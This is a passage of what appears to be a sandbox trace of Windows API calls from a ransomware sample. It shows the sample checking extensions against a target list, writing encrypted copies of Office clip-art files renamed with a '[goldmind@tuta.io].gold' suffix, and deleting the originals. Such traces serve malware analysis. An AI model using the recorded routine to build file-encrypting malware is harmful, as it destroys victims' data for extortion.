(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.970] lstrlenW (lpString=".zip") returned 4 [0047.971] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString=".rar") returned 4 [0047.971] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString=".bz2") returned 4 [0047.971] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.971] lstrlenW (lpString=".7z") returned 3 [0047.971] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".dbf") returned 4 [0047.971] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".1cd") returned 4 [0047.971] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".jpg") returned 4 [0047.971] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".doc") returned 4 [0047.971] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.971] lstrlenW (lpString=".docx") returned 5 [0047.971] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.971] lstrlenW (lpString=".pdf") returned 4 [0047.971] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString=".xls") returned 4 [0047.971] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString=".xlsx") returned 5 [0047.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.971] lstrlenW (lpString=".ppt") returned 4 [0047.971] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".zip") returned 4 [0047.971] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString=".rar") returned 4 [0047.971] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.971] lstrlenW (lpString=".bz2") returned 4 [0047.971] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.971] lstrlenW (lpString=".7z") returned 3 [0047.971] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".dbf") returned 4 [0047.971] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".1cd") returned 4 [0047.971] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0047.971] lstrlenW (lpString=".jpg") returned 4 [0047.971] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.971] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.972] lstrlenW (lpString="AG00164_.GIF") returned 12 [0047.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.972] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=13254) returned 1 [0047.972] CloseHandle (hObject=0x1e8) returned 1 [0047.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 0x20 [0047.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.972] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.972] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0047.972] GetLastError () returned 0x0 [0047.972] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x33c6, lpOverlapped=0x0) returned 1 [0047.974] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x33d0, lpOverlapped=0x0) returned 1 [0047.975] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.975] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.975] SetEndOfFile (hFile=0x1b0) returned 1 [0047.975] CloseHandle (hObject=0x1b0) returned 1 [0047.976] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.976] SetEndOfFile (hFile=0x1e8) returned 1 [0047.976] CloseHandle (hObject=0x1e8) returned 1 [0047.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0047.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.977] lstrlenW (lpString=".doc") returned 4 [0047.977] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.977] lstrlenW (lpString=".docx") returned 5 [0047.977] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.977] lstrlenW (lpString=".pdf") returned 4 [0047.977] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString=".xls") returned 4 [0047.977] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString=".xlsx") returned 5 [0047.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.977] lstrlenW (lpString=".ppt") returned 4 [0047.977] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.977] lstrlenW (lpString=".zip") returned 4 [0047.977] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".rar") returned 4 [0047.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".bz2") returned 4 [0047.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString=".7z") returned 3 [0047.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".dbf") returned 4 [0047.978] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".1cd") returned 4 [0047.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".jpg") returned 4 [0047.978] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".doc") returned 4 [0047.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString=".docx") returned 5 [0047.978] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.978] lstrlenW (lpString=".pdf") returned 4 [0047.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".xls") returned 4 [0047.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".xlsx") returned 5 [0047.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.978] lstrlenW (lpString=".ppt") returned 4 [0047.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".zip") returned 4 [0047.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".rar") returned 4 [0047.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.978] lstrlenW (lpString=".bz2") returned 4 [0047.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString=".7z") returned 3 [0047.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".dbf") returned 4 [0047.978] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".1cd") returned 4 [0047.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0047.978] lstrlenW (lpString=".jpg") returned 4 [0047.978] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.978] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.978] lstrlenW (lpString="AG00165_.GIF") returned 12 [0047.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.979] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=8582) returned 1 [0047.979] CloseHandle (hObject=0x1e8) returned 1 [0047.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0047.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.980] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.980] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0047.980] GetLastError () returned 0x0 [0047.980] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x2186, lpOverlapped=0x0) returned 1 [0047.981] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0047.982] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.982] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.982] SetEndOfFile (hFile=0x1b0) returned 1 [0047.982] CloseHandle (hObject=0x1b0) returned 1 [0047.983] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.983] SetEndOfFile (hFile=0x1e8) returned 1 [0047.983] CloseHandle (hObject=0x1e8) returned 1 [0047.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString=".doc") returned 4 [0047.984] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.984] lstrlenW (lpString=".docx") returned 5 [0047.984] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.984] lstrlenW (lpString=".pdf") returned 4 [0047.984] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString=".xls") returned 4 [0047.984] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString=".xlsx") returned 5 [0047.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.984] lstrlenW (lpString=".ppt") returned 4 [0047.984] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString=".zip") returned 4 [0047.984] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString=".rar") returned 4 [0047.984] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString=".bz2") returned 4 [0047.984] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.984] lstrlenW (lpString=".7z") returned 3 [0047.984] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString=".dbf") returned 4 [0047.984] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString=".1cd") returned 4 [0047.984] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString=".jpg") returned 4 [0047.984] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.984] lstrlenW (lpString=".doc") returned 4 [0047.984] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.984] lstrlenW (lpString=".docx") returned 5 [0047.984] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.984] lstrlenW (lpString=".pdf") returned 4 [0047.984] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString=".xls") returned 4 [0047.984] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.984] lstrlenW (lpString=".xlsx") returned 5 [0047.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.985] lstrlenW (lpString=".ppt") returned 4 [0047.985] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.985] lstrlenW (lpString=".zip") returned 4 [0047.985] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.985] lstrlenW (lpString=".rar") returned 4 [0047.985] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.985] lstrlenW (lpString=".bz2") returned 4 [0047.985] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.985] lstrlenW (lpString=".7z") returned 3 [0047.985] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.985] lstrlenW (lpString=".dbf") returned 4 [0047.985] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.985] lstrlenW (lpString=".1cd") returned 4 [0047.985] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0047.985] lstrlenW (lpString=".jpg") returned 4 [0047.985] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.985] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0047.985] lstrlenW (lpString="AG00167_.GIF") returned 12 [0047.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.985] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=4894) returned 1 [0047.985] CloseHandle (hObject=0x1e8) returned 1 [0047.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0047.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0047.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.986] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.986] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0047.986] GetLastError () returned 0x0 [0047.986] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x131e, lpOverlapped=0x0) returned 1 [0047.987] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0047.988] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.988] WriteFile (in: hFile=0x1b0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.988] SetEndOfFile (hFile=0x1b0) returned 1 [0047.988] CloseHandle (hObject=0x1b0) returned 1 [0047.988] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.988] SetEndOfFile (hFile=0x1e8) returned 1 [0047.989] CloseHandle (hObject=0x1e8) returned 1 [0047.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0047.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.989] lstrlenW (lpString=".doc") returned 4 [0047.989] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.989] lstrlenW (lpString=".docx") returned 5 [0047.989] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.989] lstrlenW (lpString=".pdf") returned 4 [0047.989] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.989] lstrlenW (lpString=".xls") returned 4 [0047.989] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.989] lstrlenW (lpString=".xlsx") returned 5 [0047.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.989] lstrlenW (lpString=".ppt") returned 4 [0047.989] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.989] lstrlenW (lpString=".zip") returned 4 [0047.989] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.989] lstrlenW (lpString=".rar") returned 4 [0047.989] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.989] lstrlenW (lpString=".bz2") returned 4 [0047.990] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.990] lstrlenW (lpString=".7z") returned 3 [0047.990] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0047.990] lstrlenW (lpString=".dbf") returned 4 [0047.990] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.990] lstrlenW 